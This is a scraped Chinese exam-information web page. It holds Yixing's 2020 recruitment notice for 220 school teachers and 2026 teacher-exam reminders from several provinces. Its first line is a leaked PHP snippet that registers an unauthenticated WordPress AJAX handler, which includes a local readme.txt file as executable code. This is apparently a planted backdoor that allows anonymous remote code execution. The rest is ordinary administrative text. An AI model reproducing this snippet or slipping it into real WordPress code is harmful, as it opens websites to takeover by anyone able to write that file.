if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
江苏宜兴市2020年公开招聘编制教师公告-全国教师资格考试网

江苏宜兴市2020年公开招聘编制教师公告

  为优化和充实教师队伍,促进教育事业更好发展,根据《关于进一步做好全省中小学校新进教师公开招聘工作的意见》(苏教规〔2016〕1号)及《无锡市事业单位公开招聘人员实施办法》(锡委办发〔2012〕54号)文件精神,经无锡市人力资源和社会保障局核准(锡人社事招公告核〔2020〕2号),2020年宜兴市教育系统公开招聘事业编制中小学教师220名,现将有关事项公告如下:

  一、报名条件

  应聘人员应同时具备以下条件:

  1.具有中华人民共和国国籍,享有公民的政治权利,遵纪守法,品行端正,热爱教育事业,具有良好的职业道德。

  2.年龄在35周岁以下(1985年2月14日及以后出生)。

  3.身心健康,具备正常履行岗位职责所需的身体条件。

  4.教师资格证:报考普通中小学教师岗位的,须取得符合任教学段和学科要求的教师资格证或尚未取得但须承诺于2020年7月15日前取得符合任教学段和学科要求的教师资格证;报考职业学校专业课教师岗位的,须承诺于2023年7月15日前取得符合任教学段和学科要求的教师资格证。

  5.学历及户籍,需满足以下条件之一:

  (1)具备以下类型之一的研究生学历且取得相应学位者,不受户籍限制:全日制普通高等院校研究生毕业、国(境)外留学研究生毕业(须经国家教育部留学服务中心认证并提供认证证书)或2016年12月1日后录取的非全日制研究生毕业。

  (2)2020届全日制普通高等院校本科毕业生、2019届国(境)外留学并取得本科学历的毕业生(须经国家教育部留学服务中心认证并提供认证证书),不受户籍限制。

  (3)2019届全日制普通高等院校本科毕业生、2018届国(境)外留学并取得本科学历的毕业生(须经国家教育部留学服务中心认证并提供认证证书)或2019届、2020届全日制师范类专科毕业生,须具有无锡市户籍或为无锡市生源,户籍截止时间为2020年2月13日。

  6.具备岗位所需的对应学历和专业(学科)要求(详见附件1)。

  7.有下列情况之一者不得报考:

  (1)被剥夺政治权利、受过刑事处罚的;(2)曾被劳动教养、强制隔离戒毒的;(3)受到党纪、政纪处分的;(4)参加非法组织的;(5)其他不适宜担任教师职务的;(6)宜兴市教育系统事业在编人员;(7)2020届宜兴生源免费师范生及宜兴市乡村定向师范生。

  二、报名

  (一)报名程序

  报名采用网络报名方式。报名、照片上传、资格初审和缴费确认,通过网络同步进行。

  1.报名信息、照片上传时间:

  2020年2月14日9:00—2月19日16:30

  2.报名网址:http://www.yxjyxx.net/(宜兴教育信息网)

  3.资格初审时间:

  2020年2月14日9:00—2月20日16:30

  4.缴费确认时间:

  2020年2月14日9:00—2月21日16:30

  (二)报名注意事项

  1.报考人员应按岗位要求和网上提示如实完整填写有关信息,同时上传报考者本人近期免冠电子照片[正面二寸(35×45毫米)证件照,jpg格式,大小为200K以下]。审核人员根据报考人员填报的信息进行审核,凡弄虚作假者,一经查实,即取消考试或聘用资格(如有必要,网上审核的同时可要求考生提供相关报考资料的原件进行现场核实确认)。

  2.报考人员只能选择本公告中的一个岗位进行报名。特别提醒:因笔试与无锡市区笔试同一时间进行,考生选报我市岗位后,不能再选报无锡市教育局直属学校及隶属无锡市的其他区(县)招聘岗位(江阴市除外)。资格初审未通过的,在报名截止时间之前可改报其他符合条件的岗位。

  3.各岗位开考比例为1:3。同一岗位符合条件的报考人数少于该岗位招聘人数3倍的,将相应核减或取消招聘岗位。报考被取消岗位的人员可改报符合条件的其他岗位。改报岗位时间为:2020年2月25日上午9∶00—下午4∶30(若有变化,以网上通知为准)。招聘计划调整公告将在网上及时公布。

  对少数特殊行业、特殊专业或层次要求较高,确实难以形成竞争的专业技术岗位,经无锡市公开招聘综合管理部门同意,可适当降低开考比例。

  (三)报名资格初审

  工作人员将在24小时内审核考生报考信息,请考生在报名同一网址及时查询是否通过资格初审,通过初审即可进行缴费确认(使用支付宝在网上缴纳相关费用),完成缴费确认后的考生方可视为完成网上报名程序。因考生错报、漏报造成的后果,责任由考生自负。

  缴费标准:每位考生缴纳考试费100元。

  未在指定时限内进行缴费的考生,视为报名未通过。

  (四)网上打印准考证

  考生要按规定时间到报名网站下载并打印准考证。

  准考证打印时间:2020年2月27日至2月29日。

  三、考试

  (一)考试分两个阶段进行:

  1.第一阶段:笔试或笔试+技能测试。笔试与无锡市区同步进行。

  ①报考语文、数学、英语、物理、生物、政治、历史、地理、小学科学、特殊教育教师岗位的,参加教育公共知识和学科专业知识笔试考试。教育公共知识包括课程改革理论、教育学与心理学及其他综合知识等,主要考查应聘人员对教育学、心理学、教育法规和教师职业道德修养等相关知识的掌握情况。学科专业知识主要考查应聘人员作为中小学教师应具备的专业知识和综合运用能力。

  上述岗位第一阶段成绩=教育公共知识×30%+学科专业知识×70%。

  ②报考音乐、体育、美术、信息技术、电工电子、电子商务、艺术设计教师岗位的,首先应参加教育公共知识笔试考试。教育公共知识包括课程改革理论、教育学与心理学及其他综合知识等,主要考查应聘人员对教育学、心理学、教育法规和教师职业道德修养等相关知识的掌握情况。

  报考上述岗位的应聘人员还需参加宜兴市教育局、宜兴市人力资源与社会保障局组织的专业技能测试。

  上述岗位第一阶段成绩=教育公共知识×30%+专业技能测试×70%。

  具体考试形式、内容详见附件2。

  ③第一阶段考试满分为100分(或折算成百分制),设50分为合格线,不达合格线者直接淘汰。考生可通过报名网站查询成绩。

  根据第一阶段成绩高低,按岗位招聘人数1:3比例(达不到该比例的,按实际进入人数确定第二阶段考试人选)确定进入第二阶段考试(试讲)人员(末位同分跟进),并将结果进行公布。

  2.第二阶段:试讲。满分为100分,设60分为合格线,不达合格线者直接淘汰。考试内容:分析、把握教材的能力,课堂教学设计的能力以及表达能力等综合能力。

  两阶段考试结束后,按第一阶段成绩(占40%)和第二阶段成绩(占60%)计算出总成绩。

  (二)考试时间与地点:

  笔试时间: 2020年2月29日(暂定,与无锡市区同步,具体以无锡市教育局公布的笔试时间为准);

  技能测试时间:2020年3月8日;

  试讲时间:2020年3月22日。

  具体时间及地点参考附件3,详见准考证。

  若笔试时间有调整,则技能测试时间与试讲时间也相应调整且另行通知。

  四、资格复审

  宜兴市教育局、宜兴市人力资源和社会保障局对拟参加第二阶段考试(试讲)的考生进行报考资格复审。未在规定时间内复审的考生,视为自动放弃。复审时,考生须提供以下材料的原件和复印件,并进行现场验证:

  1.已毕业考生:须提供学历证书及学信网学历证书电子注册备案表;其中研究生还须提供学位证书。

  2.即将毕业考生:须提供就业推荐表及学信网学籍在线验证报告;

  3.教师资格证(或已参加教师资格证理论考试的合格证及最迟于2020年7月15日之前取得教师资格证的承诺书);

  4.在有效期内的第二代身份证或临时身份证;

  5.师范类专科毕业生及本科非2020应届毕业生须提供户口簿或无锡市生源的证明材料;

  6.国(境)外本科及以上学历并取得相应学位的须经国家教育部留学服务中心认证并提供认证证书;

  7.报考岗位要求提供的其他证明材料。

  资格复审时间、地点另行通知。通过资格复审者名单将在指定网站予以公布。

  五、体检及考察

  1.根据考试总成绩从高到低按岗位招聘计划1:1比例确定参加体检人员。总成绩末位出现同分的,按第一阶段成绩高低确定。如第一、二阶段成绩均相同的,则通过加试(笔试)确定。

  2.体检标准参照《公务员录用体检通用标准(试行)》。体检医院由宜兴市教育局、宜兴市人力资源和社会保障局统一指定。体检费用自理。

  3.对体检合格者,按照有关程序实施考察。

  4.未在规定时间参加体检者,视为自动放弃。

  六、公示及聘用

  1.经体检、考察合格后,对拟录用人员进行网上公示7个工作日。

  2.公示结果不影响聘用的,办理相关聘用手续,并按政策享受事业编制教师待遇。

  3.递补。因下列情形导致招聘岗位缺额的可在应聘同岗位人员中按总成绩由高到低依次递补(若拟递补对象出现同分的,按第一阶段成绩高低确定;如第一、二阶段成绩均相同的,则通过加试(笔试)确定)。其中初中缺额从同岗位本科学历及以上且具有初中及以上学段教师资格证的考生中递补,小学缺额从同岗位考生中递补:

  ①应聘人员放弃资格复审或资格复审未通过者(按第一阶段成绩由高到低递补);

  ②应聘人员放弃签订或在指定时限内未签订《就业合同》者;

  ③应聘人员放弃体检或体检不符合要求者;

  ④拟聘用人员考察不符合要求者;

  ⑤2020年7月15日之前,未取得毕业证书、教师资格证(不含报考中职专业课教师岗位的)、研究生未取得学位证书者;

  ⑥拟聘用人员放弃聘用者;

  ⑦拟聘用人员公示的结果影响聘用的。

  聘用手续办理后不再进行递补。

  4.报考普通中小学教师岗位的拟聘用人员,在2020年7月15日前未取得符合学段和学科教师资格证者不予录用。在2020年7月15日前已于“中国教师资格网”官方网站进行教师资格证网络申领并于申领地进行了现场确认的考生,提供相应佐证材料(特指提供网络申领截图,截图的认定状态为“认定通过”或“待认定审批”),经核验合格后视为已取得教师资格证,但须于2020年9月1日之前取得对应教师资格证原件并递交教育局人事科核验,否则取消聘用资格。报考职业学校专业课教师岗位的,在录用时间满一年至取得符合学段和学科教师资格证期间,均按试用期管理,截止到2023年7月15日,仍未取得符合学段和学科教师资格证者,则试用期考核为不合格,解除聘用合同,个人自主择业。

  5.新聘用人员统一实行县管校聘的管理模式,按照“满足学段、学历条件,提前公布需求岗位,总成绩排名在前优先选择”的原则,通过网络填报志愿的方式确定就业岗位,并服从宜兴市教育局调配。

  6.新聘用人员具有事业编制,实行试用期管理,试用期按聘用制有关规定执行。试用期满考核合格者,予以定岗;考核不合格者取消聘用资格,终止聘用关系,个人自主择业。

  7.聘用人员在我市服务必须满5周年(含)以上才可以向市(县)外流动。

  8. 对弄虚作假等违反招聘(含考试)纪律的报考者,视情节轻重,分别给予取消考试资格、录用资格的处理。

  七、公开招聘工作相关信息发布网址

  招聘公告、录用情况公示将在以下网站进行发布:

  宜兴市人力资源和社会保障网:

  http://www.yixing.gov.cn/rsj/

  宜兴教育信息网:

  http://www.yxjyxx.net/

  公开招聘其他信息在宜兴教育信息网上发布。

  本公告由宜兴市教育局、宜兴市人力资源和社会保障局负责解释。

  咨询电话:0510-87973957、87992670、87976352、87974858。

  八、纪律与监督

  公开招聘工作,坚持贯彻“民主、公开、竞争、择优”的原则,严肃招聘纪律,严格秉公办事,并接受纪检、监察部门和社会监督。监督举报电话:

  宜兴市监委:051087986221

  宜兴市教育局党群科:051087981642

  宜兴市人力资源和社会保障局:051087985125

附件1 2020年江苏省宜兴市教育系统公开招聘事业编制中小学教师岗位简介表.doc.docx

附件2.2020年江苏省宜兴市教育系统公开招聘事业编制中小学教师第一阶段考试形式、内容一览表。.doc

附件3.2020年江苏省宜兴市教育系统公开招聘事业编制中小学教师工作时序安排。.doc

  宜兴市教育局

  宜兴市人力资源和社会保障局

  二○二○年一月二十三日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部